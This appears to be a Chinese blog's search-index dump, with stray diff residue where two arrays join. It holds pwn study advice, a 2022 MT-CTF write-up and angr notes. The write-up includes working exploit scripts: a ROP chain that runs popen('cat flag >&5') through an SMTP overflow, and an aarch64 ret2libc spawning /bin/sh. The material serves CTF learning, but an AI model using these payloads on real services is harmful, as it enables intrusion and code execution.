两个寄存器,再往下查找资料可以发现而这分别用于储存栈帧和返回地址。而在嵌套式调用中,调用以前会将当前函数的返回地址和栈帧入栈,这就相当于 x64 下的 push rbp;push rip+8 了,因此栈溢出对它仍然适用,只是覆盖的返回地址不能够立即劫持,需要等待当前函数返回后,将劫持的返回地址加载到 x30,并且当父函数再次返回时才能够劫持。以及中间需要选择其他 gadget 对栈进行维护从而构造 ROP 进行持续控制。\n此处,笔者所说的 “直觉” 其实指的就是在遇到该架构时能够先考虑到理解函数调用和栈的关系这一点,从此处开始向下搜索资料来完善自己的猜测,最后验证猜测。\n当然直觉也是失灵的时候,在失灵时能够尽快提出另一种可能性也是一种灵活。\nQ4:有哪些值得推荐的书籍或网站?书单首先先推荐一下这个项目:https://github.com/olist213/Information_Security_Books,里面基本上涵盖了每个方向的相关书籍,读者可以按需自取。\n然后是笔者为 Pwn 师傅们推荐的单独目录:\n\n操作系统(B):《操作系统真象还原》《鸟哥的Linux私房菜》\n计算机原理(B):《深入理解计算机系统(CSAPP)》,《程序员的自我修养》\nC/C++ (A):《C Primer plus》《C++ Primer plus》\n汇编语言(A):《汇编语言》- 王爽\n数据结构(C-):《数据结构与算法分析 —— C语言描述》\n网络协议(C):《TCP/IP 详解 (卷一)》\n逆向工程(D):《逆向工程核心原理》\n编译原理(D):《编译原理(龙书)》\n\n操作系统是每位 Pwner 必备的基础知识,哪怕不准备往内核方向发展,这两部书也是有必要看的,其中第一本能在极大程度上驱散自己对计算机核心的心中迷雾。而第二本则是辅助,如果有时间可以看看。\n计算机原理则是另外一部分必要内容,CSAPP 不要求全都看完,个人认为看到 11 章就非常足够了,而 Lab 只需要做到 Lab4 就能在很大程度上满足需求了。当然,如果有时间,自然是越多越好。而《程序员的自我修养》则在另外一个方面弥补自己对软件构建方面的缺陷,这本书不厚,很快就能看完,但非常推荐去看看。\nC/C++ 则是必要的语言基础,我个人认为,C 语言一定要学好,而其他语言的最低限度是能够会看即可。由于大部分语言都有自己的语义结构,因此从字面上理解往往并没有那么困难,我个人认为对于其他语言可以浅尝辄止,但 C 语言一定要学的足够深。\n数据结构部分其实并不是那么关键,尽管几乎所有计算机类都会有这么一门必修课,但实际上用到的机会并不是那么多。但我仍然推荐各位对此稍微有些了解,因为数据结构中的很多实现往往较为晦涩,如果没有自己编写类似代码的经验,在对此类题目进行逆向分析时会吃上些许苦头。\n网络协议部分也是较为关键的内容,因为 Pwn 的目标在现实场景下其实涉及到网络组件的情况更多,掌握这部分知识会让分析代码的过程更丝滑。\n逆向工程和编译原理相对来要求没那么高,在已经完成了前面所说的部分以后如果仍有余裕,可以考虑这部分内容作为额外的提升。\n至于阅读顺序,个人是建议按照上述目录标准的顺序,从 A-D 递减的优先级进行阅读。\n练习\nCTF-wiki : https://ctf-wiki.org/pwn/linux/user-mode/environment/\nBUUOJ:https://buuoj.cn/\n\n对大多数人来说,CTF-wiki 可以解决入门阶段 90% 的基础,而 BUUOJ 和一些其他的练习平台作为辅助,闲暇的时候刷上一两题巩固基础,提高熟练度。\n就我个人而已,我更推荐以赛促学,练习更多的只是平常用于巩固,刷上 2-3 页其实就很多了。更加高效的方法是参加一些难度并没有那么高的比赛,在那种连续的环境下长时间思考能够快速提高自己的技术水平。比如说安恒的月赛、各大高校的新生赛,都是不错的选择。\nQ5:如果我要学 Pwn ,有没有什么建议?Pwn 其实是一门较为综合的方向,它的实际范围其实要比我们在比赛中能够遇见的更广,这决定了它注定不是一条轻松的路。二进制安全的历史其实非常久远,很多东西已经非常完善了。比方说现在的 Rust 语言就在很大程度上解决了内存安全问题,所以它越是发展,我们就越是没事做。安全行业的实质是在消灭安全行业,所以为了求生,除了比赛相关的内容以外,也建议师傅们对自己设立一些更高的目标。\n学 Pwn 的目的不只是为了在比赛里能拿个好成绩,更不应该是因为队伍里没人学所以自己补个位,认清楚自己的目标,提前想好自己在未来能够用它做些什么才是更重要的事情。\n实践经历Q1:理论与现实的差距在哪?仅限于 Pwn 方向来说,CTF 和实际的工作内容的差距是非常大的。从最基本的性质上说,CTF 的本质是 Game,Game 就肯定有通关的方法,也就是说题目必然是有解的,但现实里挖洞却不一样,有的时候它可能真的没洞,又有的时候或许漏洞过于隐蔽以至于自己无法判断是否能够挖出。\n我相信大多数师傅在做题的时候都很少会接触到超过 1mb 大小的 Pwn 题,现在因为 Rust 和 Golang 等语言的出现,二进制文件可能相比以前的 C 语言大上不少,但一般都不会超过 10mb(排除静态编译的情况)。但在真正的工作里,我们有可能要面对远大于这个量级的样本,可能一个样本有 20mb 甚至更大,函数的数量超过十万个,在这种条件下,按照做 Pwn 题的方式去分析样本几乎是不可能完成的任务。\n也有一些相对苛刻的情况,可能做过 IOT 的师傅会更清楚,模拟设备和真实设备的差距是很大的,对于一些特殊设备可能根本没办法进行模拟,这就更加麻烦了。\nQ2:那我该怎么办呢?正如上文所说的,拓宽自己的技能栈。Pwn 的总体方向是 “二进制漏洞挖掘与利用”,其中包括了挖掘部分。CTF 中其实有意削弱了这漏洞挖掘的部分,因为对于限时的比赛而言,挖洞往往耗费大量的时间且并不体现选手的能力,因为有的时候,能否挖出漏洞甚至是一个运气问题。\n那么弥补这部分靠 CTF 无法学到的知识就可以了。常用的漏洞挖掘的方案一般包括黑盒测试、灰盒测试和白盒测试,掌握这方面的技巧,参考一些比较经典的项目,比如 AFLFuzzer、Codeql 等,能够在很大程度上弥补这方面知识。\n当然,最终都要落到实处。尝试着去找一些相对简单的项目进行真正的漏洞挖掘,亲身体验一下那种过程要远好于各种资料。\n如果在过程中遇到了自己难以解决的问题,比起自己埋头硬干,也建议各位师傅积极与其他师傅交流,各大比赛的官方群在赛后其实都是不错的交流平台,以及一些 Pwner 交流群和各大论坛都能提供一定的帮助。\n结语不知道各位有没有发现,我似乎总是倾向于用文字而非图片或其他形式进行表达。\n由于我在编写文档时总是习惯用 markdown 这种标记语言进行编辑,这种文档显示出来的效果会因不同的编辑器而异,所以尽管 Obsidian 的风格非常优雅,但为了兼容性考虑,我还是在大多数时候避免使用表格和图片,后者主要是因为图片的非常耗时。出于种种考虑,如果您希望以一种快捷的方式撰写文档,我也推荐您使用 markdown 代替 word 文档。\n最后再贴个自己的小博客:tokameine.top \n","categories":["杂物间"],"tags":["pwn"]},{"title":"自我的弱点","url":"/2023/10/07/%E8%87%AA%E6%88%91%E7%9A%84%E5%BC%B1%E7%82%B9/","content":"我最悲哀的地方莫过于自己目光短浅与性格怯懦。\n现代人的孤独和国家制度的不完善造就了当下社会的哥布林。\n记于:2023-10-7\n","categories":["杂物间"]}] \ No newline at end of file +[{"title":"2022美团MT-CTF复现报告-TokameinE","url":"/2022/09/20/2022-mt-ctf/","content":"REsmall题目本身不难,也没什么内容。但是我似乎没办法在本地运行它,并且也没办法反编译,所以只能静态分析汇编代码逻辑了。\nIDA 打开以后没有识别到代码,所以手动将所有数据反编译以后筛出代码部分就能找到主要逻辑了。\n不过代码似乎还加了花指令,我自己懒得手动 patch 中间的内容了,就纯读汇编代码。不过好在程序确实很小,中心逻辑非常少,tea 加密的相关汇编代码总共还没 30 行估计,马上就能看出来,然后写一些解密就行了:\n#include<stdio.h>#include<stdlib.h>#include <cstdint>void decrypt(uint32_t* v, uint32_t* k) { uint32_t v0 = v[0], v1 = v[1], sum = 0x67452301 * 35, i; uint32_t delta = 0x67452301; uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3]; for (i = 0; i < 35; i++) { v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3); v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1); sum -= delta; } v[0] = v0; v[1] = v1;}int main(){ unsigned char ida_chars1[] = { 0x43, 0x71, 0x08, 0xDE, 0xD2, 0x1B, 0xF9, 0xC4, 0xDC, 0xDA, 0xF6, 0xDA, 0x4C, 0xD5, 0x9E, 0x6D, 0xE7, 0x4E, 0xEB, 0x75, 0x04, 0xDC, 0x1D, 0x5D, 0xD9, 0x0F, 0x1B, 0x51, 0xFB, 0x88, 0xDC, 0x51 }; uint32_t ida_chars[8]; for (int i = 0; i < 8; i++) { ida_chars[i] = *((uint32_t*)ida_chars1 + i); } uint32_t key[4] = { 0x1,0x23,0x45,0x67 }; decrypt(ida_chars, key); decrypt(ida_chars+2, key); decrypt(ida_chars + 4, key); decrypt(ida_chars + 6, key); char* k = (char*)ida_chars; for (int i = 0; i < 32; i++) { printf("%c", *(k + i)); }}\n\nstatic没复现,看了一下发现是 aes+xxtea ,另外还有 z3 解方程什么的,感觉分析量很大,已经超出 pwn 手的需求范围了,就没复现了。\nPWNSMTP比赛的时候没能做出来,当时一直懒得去调试这道题,所以到最后都没验证漏洞是否存在,然后在赛后陷入无尽的后悔,寄。\n关键代码其实并不大,哪怕是走 fuzz 都应该能找到溢出点:\nvoid *__cdecl sender_worker(const char **a1){ char s[256]; // [esp+Ch] [ebp-10Ch] BYREF const char **v3; // [esp+10Ch] [ebp-Ch] puts("sender: starting work"); v3 = a1; len = strlen(a1[1]); puts("sender: sending message...."); printf("sender: FROM: %s\\n", *a1); if ( strlen(*a1) <= 0x4F ) strcpy(from, *v3); if ( len <= 0xFFu ) { printf("sender: TO: %s\\n", v3[1]); } else { memset(s, 0, sizeof(s)); strcpy(s, v3[1]);// <--------------溢出 printf("sender: TO: %s\\n", s); } puts("sender: BODY:"); if ( v3[2] ) printf("%s", v3[2]); else puts("No body."); putchar(10); puts("sender: finished"); return 0;}\n\n可以明显的看出,在调用 strcpy 时并没有检查字符串的长度,如果 v3[1] 的长度超过了 256 就能造成栈溢出了。\n先检查一下程序的保护:\nArch: i386-32-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x8048000)\n\n没有 PIE 的情况下,栈溢出能直接写 ROP 劫持程序流了,因此向上去跟一下 v3[1] 的源头:\nint __cdecl session_submit(_DWORD *a1){ pthread_t newthread[2]; // [esp+Ch] [ebp-Ch] BYREF printf("session %d: received message '%s'\\n", *a1, *(a1[4] + 8)); printf("session %d: handing off message to sender\\n", *a1); return pthread_create(newthread, 0, sender_worker, a1[4]);}\n\n最后根据参数可以确定出这段内容:\ncase 2: if ( v35[1] != 2 && v35[1] != 3 ) goto LABEL_41; v35[1] = 3; v14 = v35[4]; *(v14 + 4) = strdup(*(ptr + 1)); v15 = strlen(server_replies[0]); send(fd, server_replies[0], v15, 0); printf("session %d: state changed to got receipients\\n", fd); break;\n\n此处它将 RCPT TO: 后的数据放入到 *(v14 + 4) 处,我们用一段很长的数据来测试一下是否会引发崩溃:\nfrom pwn import *p = remote('127.0.0.1',9999)elf=ELF("./pwn")p.sendafter('220 SMTP tsmtp\\n','HELO toka')p.sendafter('250 Ok\\n',"MAIL FROM:toka")p.sendafter("250 Ok\\n",b"RCPT TO:"+b"a"*0x104)p.sendafter('250 Ok\\n','DATA')p.sendafter(".<CR><LF>\\n",b".\\r\\n" + b"fxxk")p.interactive()\n\n而在服务端那边,我们确实成功触发了 core dump :\nsender: TO: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaasender: BODY:Segmentation fault (core dumped)\n\n那么接下来就是构造 ROP 把 flag 带出来了:\nfrom pwn import *p = remote('127.0.0.1',9999)elf=ELF("./pwn")p.sendafter('220 SMTP tsmtp\\n','HELO toka')p.sendafter('250 Ok\\n',"MAIL FROM:cat flag >&5;r\\x00")payload=b"a"*0x100+p32(0x804d1d0)+b'a'*0xc+p32(elf.plt["popen"])+b'dead'+p32(0x804d140)+p32(0x804d14c+1)p.sendafter("250 Ok\\n",b"RCPT TO:"+payload)p.sendafter('250 Ok\\n','DATA')p.sendafter(".<CR><LF>\\n",b".\\r\\n" + b"fxxk")p.interactive()\n\n看了一下其他师傅的 wp,发现它们不是通过 OR+Send 的链条写回 flag,而是通过 popen 执行 cat flag>&5 来直接执行指令,并将该指令的输出绑定到 fd=5,这确实比构造很长了 ROP 要来的优雅。\n另外,由于程序是 32 位的,一些数据是通过栈进行传参的,比方说:\nif ( v3[2] ) printf("%s", v3[2]);\n\n它对应的汇编如下:\n.text:08049AC8 8B 45 F4 mov eax, [ebp-0x0c].text:08049ACB 8B 40 08 mov eax, [eax+8].text:08049ACE 85 C0 test eax, eax.text:08049AD0 74 1B jz short loc_8049AED\n\n如果在 strcpy 处覆盖返回地址,还需要保证 ebp-0x0c 处的内存能够访问,否则会引发崩溃。\n捉迷藏去年的 SCTF2021 遇到了一道名为 ret2text 的题目,和这题非常相似,都是程序体积较大,执行流较多,输入也挺多的,而且每个分支前面还有各自各样的运算和判断,即便找到了溢出点,也会苦于不知道该如何输入才能让程序走到那里。\n而这次的题目和 SCTF 还不太一样,它的附件不会变化,因此如果不嫌麻烦,手算一下输入或许也能搞定,但 SCTF 的时候,每次 nc 过去的附件都不一样,而且超过一定世界会自动断连,所以必须要用自动化分析工具在一次连接内搞定。\n由于程序的输入很多,为了加快进度可以写一下函数 hook 来替换输入:\nclass ReplacementCheckEquals(angr.SimProcedure): def run(self, str1, str2): cmp1 = angr_load_str(self.state, str2).encode("ascii") cmp0 = self.state.memory.load(str1, len(cmp1)) self.state.regs.rax = claripy.If(cmp1 == cmp0, claripy.BVV(0, 32), claripy.BVV(1, 32))class ReplacementCheckInput(angr.SimProcedure): def run(self, buf, len): len = self.state.solver.eval(len) self.state.memory.store(buf, getBVV(self.state, len))class ReplacementInputVal(angr.SimProcedure): def run(self): self.state.regs.rax = getBVV(self.state, 4, 'int')p.hook_symbol("fksth", ReplacementCheckEquals())p.hook_symbol("input_line", ReplacementCheckInput())p.hook_symbol("input_val", ReplacementInputVal())\n\nangr 中的函数钩子模板如上,claripy.BVV(0, 32) 是用来生成向量符号的,相当于一个变量,第一个为变量名,第二个参数为变量的长度。\nself.state.regs.rax 则是用来设置寄存器数据的,因为函数的返回值由 rax 寄存器保存,因此将结果写入 self.state.regs.rax 。\n其他部分懒得写了,angr 姑且有 python 的语法结构,至少从语义上不难理解,细节可能要等以后学过 angr 才能看了。\nfrom pwn import *import angrimport claripyimport base64ret_rop = 0x4013C8r=process("./pwn")p = angr.Project("./pwn")def getBVV(state, sizeInBytes, type = 'str'): global pathConditions name = 's_' + str(state.globals['symbols_count']) bvs = claripy.BVS(name, sizeInBytes * 8) state.globals['symbols_count'] += 1 state.globals[name] = (bvs, type) return bvsdef angr_load_str(state, addr): s, i = '', 0 while True: ch = state.solver.eval(state.memory.load(addr + i, 1)) if ch == 0: break s += chr(ch) i += 1 return sclass ReplacementCheckEquals(angr.SimProcedure): def run(self, str1, str2): cmp1 = angr_load_str(self.state, str2).encode("ascii") cmp0 = self.state.memory.load(str1, len(cmp1)) self.state.regs.rax = claripy.If(cmp1 == cmp0, claripy.BVV(0, 32), claripy.BVV(1, 32))class ReplacementCheckInput(angr.SimProcedure): def run(self, buf, len): len = self.state.solver.eval(len) self.state.memory.store(buf, getBVV(self.state, len))class ReplacementInputVal(angr.SimProcedure): def run(self): self.state.regs.rax = getBVV(self.state, 4, 'int') p.hook_symbol("fksth", ReplacementCheckEquals())p.hook_symbol("input_line", ReplacementCheckInput())p.hook_symbol("input_val", ReplacementInputVal())enter = p.factory.entry_state()enter.globals['symbols_count'] = 0simgr = p.factory.simgr(enter, save_unconstrained=True)d = simgr.explore()backdoor = p.loader.find_symbol('backdoor').rebased_addrfor state in d.unconstrained: bindata = b'' rsp = state.regs.rsp next_stack = state.memory.load(rsp, 8, endness=p.arch.memory_endness) state.add_constraints(state.regs.rip == ret_rop) state.add_constraints(next_stack == backdoor) for i in range(state.globals['symbols_count']): s, s_type = state.globals['s_' + str(i)] if s_type == 'str': bb = state.solver.eval(s, cast_to=bytes) if bb.count(b'\\x00') == len(bb): bb = b'A' * bb.count(b'\\x00') bindata += bb print(bb) elif s_type == 'int': bindata += str(state.solver.eval(s, cast_to=int)).encode('ASCII') + b' ' print(str(state.solver.eval(s, cast_to=int)).encode('ASCII') + b' ') print(bindata) gdb.attach(r,"b*0x4079D7") r.send(bindata) r.interactive() break\n\nret2libc_aarch64题目本身没有难点,一个任意地址泄露和一个无限栈溢出,但问题在于,程序是 aarch64 指令集,没学过这一套,加上需要 qemu 运行,不知道该怎么调试程序。\n这里介绍一个能够通过 python 脚本交互的调试方案:\n在 python 脚本里通过 qemu-aarch64 -g 1234 ./pwn 来启一个端口服务,此时该服务就会开始等待 gdb 连接:\nfrom pwn import *context(os = "linux", arch = 'aarch64', log_level = 'debug')libc = ELF('./libc.so.6')file = './pwn'elf = ELF(file)p = process('qemu-aarch64 -g 1234 ./pwn', shell=True)p.recvuntil('>\\n')io.interactive()shell()\n\n接下来另外启一个 shell:\n$ gdb-multiarch ./pwnpwndbg> b *0x4009A0pwndbg> target remote:1234\n\n然后这个 shell 中的 gdb 就会连接到 python 脚本中启动的服务上,然后其他过程正常调试即可。\n另外一个点是,aarch64 平台下,函数返回值储存在 X30 寄存器中,这个寄存器在 GDB 中不会直接显示在上方的寄存器组中:\n─────────────────────────────────[ REGISTERS ]────────────────────────────────── X0 0xb X1 0x40009bc5c0 ◂— 0x0 X2 0xfbad2887 X3 0x40009bf500 ◂— 0x0 X4 0x10 X5 0x8080808080800000 X6 0xfefefefefeff3d3d X7 0x7f7f7f7f7f7f7f7f X8 0x40 X9 0x5 X10 0xa X11 0xffffffffffffffff X12 0x400084fe48 ◂— 0x0 X13 0x0 X14 0x0 X15 0x6fffff47 X16 0x1 X17 0x40008b1928 (puts) ◂— stp x29, x30, [sp, #-0x40]! X18 0x73516240 X19 0x4009b8 (__libc_csu_init) ◂— stp x29, x30, [sp, #-0x40]! X20 0x0 X21 0x4006f0 (_start) ◂— movz x29, #0 X22 0x0 X23 0x0 X24 0x0 X25 0x0 X26 0x0 X27 0x0 X28 0x0 X29 0x40007ffdd0 —▸ 0x40007ffdf0 ◂— 0x0 SP 0x40007ffdd0 —▸ 0x40007ffdf0 ◂— 0x0*PC 0x400948 (overflow) ◂— stp x29, x30, [sp, #-0x90]!\n\n需要通过 info reg x30 查看具体值:\npwndbg> info reg x30x30 0x400864 4196452\n\n其中重点需要关注的质量是:\nLDP x29, x30, [sp], #0x40:将sp弹栈到x29,sp+0x8弹栈到x30,最后sp += 0x40。\nSTP x4, x5, [sp, #0x20]:将sp+0x20处依次覆盖为x4,x5,即x4入栈到sp+0x20,x5入栈到sp+0x28,最后sp的位置不变。\n可以注意到,程序会将栈中的数据写入到 x30 寄存器来修改返回值,这意味栈溢出仍然能够劫持执行流。\n然后就是漫长的调试去通过 ROP 确定返回劫持控制流了:这里直接用了 Nirvana 师傅的 ROP 链\nfrom pwn import *context(os = "linux", arch = 'aarch64', log_level = 'debug')libc = ELF('./libc.so.6')file = './pwn'elf = ELF(file)local = 1if local: io = process('qemu-aarch64 -g 1234 ./pwn', shell=True)else: io = remote('39.106.76.68',30154)r = lambda : io.recv()rx = lambda x: io.recv(x)ru = lambda x: io.recvuntil(x)rud = lambda x: io.recvuntil(x, drop=True)s = lambda x: io.send(x)sl = lambda x: io.sendline(x)sa = lambda x, y: io.sendafter(x, y)sla = lambda x, y: io.sendlineafter(x, y)li = lambda name,x : log.info(name+':'+hex(x))shell = lambda : io.interactive()ru('>\\n')s('1')ru('sensible>>\\n')s(p64(elf.got['puts']))libcbase = u64(rx(3).ljust(8,b'\\x00')) + 0x4000000000 - libc.sym['puts']li('libcbase',libcbase)ru('>\\n')s('2')ru('sensible>>\\n')#padding 136system = libcbase + libc.sym['system']bin_sh = libcbase + next(libc.search(b'/bin/sh\\x00'))gadget1_addr=libcbase + 0x72450gadget2_addr=libcbase + 0x72448payload = p64(gadget2_addr)*2 + b'a'*0x78 + p64(gadget1_addr)+ p64(gadget2_addr)*7+p64(bin_sh) + p64(system)*5io.sendline(payload)io.send('3')io.interactive()shell()\n\nnote这题倒是没啥难度,当时起床晚了看了一下题目,leof 师傅三下五除二就搞出来了就没继续看了。\n","categories":["CTF题记","Note"],"tags":["CTF"]},{"title":"Angr 使用技巧速通笔记(一)","url":"/2023/04/12/angr-tips-1/","content":"前言在基本了解了模糊测试以后,接下来就开始看看一直心心念念的符号执行吧。听群友说这个东西的概念在九几年就有了,算是个老东西,不过 Angr 本身倒是挺新的,看看这个工具能不能有什么收获吧。\n按照计划,一方面是 Angr 的使用技巧,另一方面是 Angr 的源代码阅读。不过因为两者的内容都挺多的,所以本篇只写使用技巧部分,如果未来有这样的预订,或许还会有另外一篇。希望以我这种菜鸡水平也能看得懂吧。\nAngr 的基本描述首先在开始解释 Angr 的各个模块和使用之前,我们需要先对它是如何工作的有一个大概的认识。\n我们一般用 Angr 的目的其实就是为了自动化的求解输入,比如说逆向或是 PWN。而它的原理被称之为“符号执行”。\nAngr 其实并不是真正被运行起来的,它就向一个虚拟机,会读取每一条命令并在虚拟机中模拟该命令的行为。我们类比到更加常用的 z3 库中,每个寄存器都可以相当与 z3 中的一个变量,在模拟执行的过程中,这个变量会被延伸为一个表达式,而当我们成功找到了目标地址之后,通过表达式就可以求解对应的初值应该是什么了。\n看着简单,但是您或许听说过,这类符号执行有一个现今仍为解决的麻烦问题:路径爆炸。\nAngr 被称之为 IR-Based 类的符号执行引擎,他会对输入的二进制重建对应的 CFG ,在完成重建后开始模拟执行。而对于分支语句,就需要分支出两个不同的情况:跳转 和 不跳转 。在一般情况下,这不会引发问题,但是我们可以考虑如下的代码:\nnum=xxxfor(int i=0;i<1000;i++)//<---- judge 1{ if(num==0x6666){//<----- judge 2 break; } else{ num+=1; }}\n\n当符号执行引起遇到循环语句,由于循环语句本身就需要判断是否应该跳出循环,因此引擎会在这里开始分叉为两个情况。\n而如果这个循环里又嵌套了判断条件,那么就需要再次分叉为两条路径。\n也就是说,对于一个人为理解起来相当易懂的循环判断,符号执行引擎却会因此分叉出指数级别增长的分支数量。\n但这还不是最简单的情况,我们可以更极端一点考虑这么一个情况:\nwhile(1){ if(condition) { break; }}\n\n循环本身是一个死循环,尽管我们靠自己的思维能够理解,它会在未来的某一个跳出循环,但符号执行引擎却不知道这件事,因此每一次遇到判断跳转都需要进行分叉,最后这个路径就会无限增长,最后把内存挤爆,然后程序崩溃。\n说了这么多,其实是为了将清楚一件事,“符号执行引擎是通过按行读取的方式模拟执行每条机器码,并更新对应变量,最后在通过约束求解的方式去逆推输入初值的”。\nAngr 基本模块一般来说,使用 Angr 的基本流程如下:\nimport angrproject = angr.Project(path_to_binary, auto_load_libs=False)state = project.factory.entry_state()sim = project.factory.simgr(state)sim.explore(find=target)if simulation.found: res = simulation.found[0] res = res.posix.dumps(0) print("[+] Success! Solution is: {}".format(res.decode("utf-8")))\n\n笔者一直以来都是套这个模板对二进制程序一把梭,但既然现在要开始正经思考一下怎么办,总要对里面的各种模块有所了解了。\nProject 模块project = angr.Project(path_to_binary, auto_load_libs=False)\n\n对于一个使用 angr.Project 加载的二进制程序,angr 会读取它的一些基本属性:\n>>> project=angr.Project("02_angr_find_condition",auto_load_libs=False) >>> project.filename '02_angr_find_condition'>>> project.arch <Arch X86 (LE)>>>> hex(project.entry) '0x8048450'\n\n这些信息会由 angr 自动分析,但是如果你有需要,可以通过 angr.Project 中的其他参数手动进行设定。\nLoader 模块而对于一个 Project 对象,它拥有一个自己的 Loader ,提供如下信息:\n>>> project.loader <Loaded 02_angr_find_condition, maps [0x8048000:0x8407fff]>>>> project.loader.main_object <ELF Object 02_angr_find_condition, maps [0x8048000:0x804f03f]>>>> project.loader.all_objects [<ELF Object 02_angr_find_condition, maps [0x8048000:0x804f03f]>, <ExternObject Object cle##externs, maps [0x8100000:0x8100018]>, <ExternObject Object cle##externs, maps [0x8200000:0x8207fff]>, <ELFTLSObjectV2 Object cle##tls, maps [0x8300000:0x8314807]>, <KernelObject Object cle##kernel, maps [0x8400000:0x8407fff]>]\n\n当然实际的属性不止这些,而且在常规的使用中似乎也用不到这些信息,不过这里为了完整性就一起记录一下吧。\nLoader 模块主要是负责记录二进制程序的一些基本信息,包括段、符号、链接等。\n>>> obj=project.loader.main_object>>> obj.plt {'strcmp': 134513616, 'printf': 134513632, '__stack_chk_fail': 134513648, 'puts': 134513664, 'exit': 134513680, '__libc_start_main': 134513696, '__isoc99_scanf': 134513 712, '__gmon_start__': 134513728}>>> obj.sections <Regions: [<Unnamed offset 0x0, vaddr 0x0, size 0x0>, <.interp offset 0x154, vaddr 0x8048154, size 0x13>, <.note.ABI-tag offset 0x168, vaddr 0x8048168, size 0x20> , <.note.gnu.build-id offset 0x188, vaddr 0x8048188, size 0x24>, <.gnu.hash offset 0x1ac, vaddr 0x80481ac, size 0x20>, <.dynsym offset 0x1cc, vaddr 0x80481cc, siz e 0xa0>, <.dynstr offset 0x26c, vaddr 0x804826c, size 0x91>, <.gnu.version offset 0x2fe, vaddr 0x80482fe, size 0x14>, <.gnu.version_r offset 0x314, vaddr 0x804831 4, size 0x40>, <.rel.dyn offset 0x354, vaddr 0x8048354, size 0x8>, <.rel.plt offset 0x35c, vaddr 0x804835c, size 0x38>, <.init offset 0x394, vaddr 0x8048394, size 0x23>, <.plt offset 0x3c0, vaddr 0x80483c0, size 0x80>, <.plt.got offset 0x440, vaddr 0x8048440, size 0x8>, <.text offset 0x450, vaddr 0x8048450, size 0x4ea2>, < .fini offset 0x52f4, vaddr 0x804d2f4, size 0x14>, <.rodata offset 0x5308, vaddr 0x804d308, size 0x39>, <.eh_frame_hdr offset 0x5344, vaddr 0x804d344, size 0x3c>, <.eh_frame offset 0x5380, vaddr 0x804d380, size 0x110>, <.init_array offset 0x5f08, vaddr 0x804ef08, size 0x4>, <.fini_array offset 0x5f0c, vaddr 0x804ef0c, size 0x4>, <.jcr offset 0x5f10, vaddr 0x804ef10, size 0x4>, <.dynamic offset 0x5f14, vaddr 0x804ef14, size 0xe8>, <.got offset 0x5ffc, vaddr 0x804effc, size 0x4>, <.go t.plt offset 0x6000, vaddr 0x804f000, size 0x28>, <.data offset 0x6028, vaddr 0x804f028, size 0x15>, <.bss offset 0x603d, vaddr 0x804f03d, size 0x3>, <.comment offset 0x603d, vaddr 0x0, size 0x34>, <.shstrtab offset 0x67fa, vaddr 0x0, size 0x10a>, <.symtab offset 0x6074, vaddr 0x0, size 0x4d0>, <.strtab offset 0x6544, va ddr 0x0, size 0x2b6>]>\n\n对外部库的链接也同样支持查找:\n>>> project.loader.find_symbol('strcmp') &nbsp;&nbsp;&nbsp; <Symbol "strcmp" in cle##externs at 0x8100000>>>> project.loader.find_symbol('strcmp').rebased_addr 135266304 >>> project.loader.find_symbol('strcmp').linked_addr 0 >>> project.loader.find_symbol('strcmp').relative_addr 0\n\n同时也支持一些加载选项:\n\nauto_load_libs:是否自动加载程序的依赖\nskip_libs:避免加载的库\nexcept_missing_libs:无法解析共享库时是否抛出异常\nforce_load_libs:强制加载的库\nld_path:共享库的优先搜索搜寻路径\n\n我们知道,在一般情况下,加载程序都会将 auto_load_libs 置为 False ,这是因为如果将外部库一并加载,那么 Angr 就也会跟着一起去分析那些库了,这对性能的消耗是比较大的。\n而对于一些比较常规的函数,比如说 malloc 、printf、strcpy 等,Angr 内置了一些替代函数去 hook 这些系统库函数,因此即便不去加载 libc.so.6 ,也能保证分析的正确性。这部分内容接下来会另说。\nfactory 模块该模块主要负责将 Project 实例化。\n我们知道,加载一个二进制程序只是符号执行能够开始的第一步,为了实现符号执行,我们还需要为这个二进制程序去构建符号、执行流等操作。这些操作会由 Angr 帮我们完成,而它也提供一些方法能够让我们获取到它构造的一些细节。\nBlock 模块Angr 对程序进行抽象的一个关键步骤就是从二进制机器码去重构 CFG ,而 Block 模块提供了和它抽象出的基本块间的交互接口:\n>>> project.factory.block(project.entry) <Block for 0x8048450, 33 bytes> >>> project.factory.block(project.entry).pp() &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_start: 8048450 &nbsp;xor &nbsp;&nbsp;&nbsp;&nbsp;ebp, ebp 8048452 &nbsp;pop &nbsp;&nbsp;&nbsp;&nbsp;esi 8048453 &nbsp;mov &nbsp;&nbsp;&nbsp;&nbsp;ecx, esp 8048455 &nbsp;and &nbsp;&nbsp;&nbsp;&nbsp;esp, 0xfffffff0 8048458 &nbsp;push &nbsp;&nbsp;&nbsp;eax 8048459 &nbsp;push &nbsp;&nbsp;&nbsp;esp 804845a &nbsp;push &nbsp;&nbsp;&nbsp;edx 804845b &nbsp;push &nbsp;&nbsp;&nbsp;__libc_csu_fini 8048460 &nbsp;push &nbsp;&nbsp;&nbsp;__libc_csu_init 8048465 &nbsp;push &nbsp;&nbsp;&nbsp;ecx 8048466 &nbsp;push &nbsp;&nbsp;&nbsp;esi 8048467 &nbsp;push &nbsp;&nbsp;&nbsp;main 804846c &nbsp;call &nbsp;&nbsp;&nbsp;__libc_start_main>>> project.factory.block(project.entry).instruction_addrs (134513744, 134513746, 134513747, 134513749, 134513752, 134513753, 134513754, 134513755, 134513760, 134513765, 134513766, 134513767, 134513772)\n\n可以看出 Angr 用 call 指令作为一个基本块的结尾。在 Angr 中,它所识别的基本块和 IDA 里看见的 CFG 有些许不同,它会把所有的跳转都尽可能的当作一个基本块的结尾。\n\n当然也有无法识别的情况,比如说使用寄存器进行跳转,而寄存器的值是上下文有关的,它有可能是函数开始时传入的一个回调函数,而参数有可能有很多种,因此并不是总能够识别出结果的。\n\n>>> 